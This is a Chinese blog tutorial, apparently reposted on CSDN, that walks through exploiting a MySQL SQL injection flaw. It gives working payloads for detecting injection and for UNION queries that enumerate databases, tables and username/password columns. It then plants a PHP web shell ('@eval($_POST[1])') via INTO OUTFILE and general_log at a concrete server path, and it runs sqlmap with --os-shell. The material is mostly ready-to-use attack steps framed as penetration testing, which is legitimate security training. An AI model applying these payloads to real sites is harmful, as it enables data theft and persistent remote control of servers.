concat mysql sql注入_找到SQL注入漏洞之后我们该怎么办呢?

0075c0a1f1da5912a3e68b90740e9ce1.png
在安全渗透测试一个网站的时候,如果发现一个网站存在SQL注入的漏洞,通过SQL注入漏洞我们又能做哪些事情呐?如果该网站存在WAF拦截了我们的利用代码,又该如何去完成我们的目的呐?

SQL注入漏洞在所有的漏洞种类中,出现可能性几乎是最高的。形成SQL注入漏洞的主要原因是对于可接受用户输入参数的内容未做处理就直接代入SQL语句中查询,导致例如被脱裤事件发生。

那么,当我们发现一个存在SQL注入的地方,应该如何利用呐?

0x00 判断是否存在SQL注入漏洞

判断是否存在注入的方法一般是在参数后加上'",通过是否报错,或者返回页面不一致等来判断

判断是否存在SQL注入:

  • 如果参数(id)是数字,测试id=2-1id=1返回的结果是否相同,如果做了2-1=1的运算,说明可能存在数字型注入。如果要用+号运算的话,因为URL编码的问题,需要把加好换成%2B,如id=1%2B1
  • 在参数后面加单引号或双引号,判断返回结果是否有报错
  • 添加注释符,判断前后是否有报错,如id=1' --+id=1" --+id=1' #id=1" --+--后面跟+号,是把+当成空格使用)
  • 有些参数可能在括号里面,如:SELECT first_name, last_name FROM users WHERE user_id = ('$id');所以也可以在参数后面加单、双引号和括号,如id=1') --+id=1") --+id=1') #id=1") --+
  • 参数后面跟or 或者and,判断返回结果是否有变化,如1' or 'a'='a 或者and 'a'='a或者1' or 'a'='b或者1' or '1'='2 如果返回的正确页面与错误页面都一样,可以考虑时间延迟的方法判断是否存在注入,如 1' and sleep(5)

0x01 通过SQL注入漏洞获取基本信息

有价值的基本信息包括:网站物理路径,数据库名,表名,列名,用户权限和敏感数据

例如一个数值型的id参数注入点,如果页面有回显,那么可以通过回显地方输出查询的参数,如果有提示报错SQL语句,那么就可以利用报错注入,没有回显就可以使用时间盲注、布尔盲注或者利用DNSLog外带

数值型的,我们就可以推断出SQL语句为:

SELECT * FROM users WHERE id=1;

其中id=1参数是用户可控的

通过order by 数字,判断当前表字段长度,数字从0 依次增加,如果当数字为3出错,那么字段长度就是 2ORDER BY的原理就是依据哪一列排序(第几个字段名排序),当然这里需要注意的是,如果查询SQL为:

SELECT username,password FROM users WHERE id=1

那么后面的order by 3的时候就会报错,也就是说,页面能够回显的值只有2个字段

首先可以通过union查询,联合查询想要回显那么就要使得前一个查询结果为空或者出错,才能使得联合查询的值回显到页面

payload: /Less-2/?id=-1%20union%20select%201,2,3%20from%20users

在Mysql当中有一些内置的函数和变量:

SESSION_USER(), SYSTEM_USER(), USER(), CURRENT_USER(), CURRENT_USER: 获取当前执行SQL用户,例如返回:root@localhost,root是用户名,localhost是不能远程登录
database(): 获取当前执行SQL的数据库名
version(): 获取当前数据库版本
@@datadir:获取当前数据库存储在计算机上的物理路径
@@version_compile_os:获取当前服务器操作系统版本,例如返回win32
@@hostname:主机名,计算机名

0x02 获取数据库、表及数据

Mysql当中存在一个 information_schema的数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等内容。

因此,我们可以通过这个数据库做一些快速查询

2.1 查询数据库

SELECT group_concat(SCHEMA_NAME) FROM information_schema.SCHEMATA
1%27%20union%20select%20group_concat(SCHEMA_NAME)%20FROM%20information_schema.SCHEMATA%20%23

2.2 查询数据库下表名

SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA='数据库名';
SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=DATABASE();

2.3 查询数据表下的字段名

SELECT group_concat(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='数据库名' AND TABLE_NAME='表名';

2.4 查询数据表下详细数据

SELECT concat_ws(0x7e,id,username,password) FROM '库名'.'表名' LIMIT 0,1;
SELECT concat_ws(0x7e,id,username,password) FROM '库名'.'表名' WHERE id=1;
SELECT concat_ws(0x7e,id,username,password) FROM '库名'.'表名' LIMIT 1 offset 0;

通过上面的查询操作,就可以查询到数据库中存储的任意数据

0x03 写入Shell

通过SQL注入漏洞是可以执行写文件操作,当然可以写WebShell

利用loadfile()into outfileinto dumpfile实现读写本地文件

但是使用上面函数的条件是:

  1. 数据库允许导入导出(secure_file_priv
  2. 当前用户用户文件操作权限(File_priv
SELECT '<?php phpinfo(); ?>' into outfile '网站绝对路径';

outfile没权限的时候,可以使用mysql写日志来获得WebShell

set global general_log='ON';
set global general_log_file='d:/virtualhost/localuser/host9384686/www/upload/dyboy.php';
select '<?php @eval($_POST[1]);?>';#
set global general_log='0';//记得给人家还原

0x04 Sqlmap

Sqlmap自动化测试SQL注入漏洞的一个神器,因此在一些比如mssql环境下可以借助xp_cmdshell

sqlmap.py -u http://sss.com/dsd/?id=1  --os-shell

041360375da87e3d6fc6c728c64ff5b2.png

9a583f09ab3562899617e55fe2ec41a7.png

73b8d3b303c9c6e57736cb736bd30a21.png

d43e2dc42e387ecdf7587f9dcf17db68.png

0f52f065f3bbb91d5d0019bad96944ec.png

6d8ccdf6c8f01c8c8159a91c83886319.png

案例:https://blog.dyboy.cn/websecurity/31.html

参考:https://blog.csdn.net/WYJ____/article/details/81234382https://www.freebuf.com/articles/web/55577.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值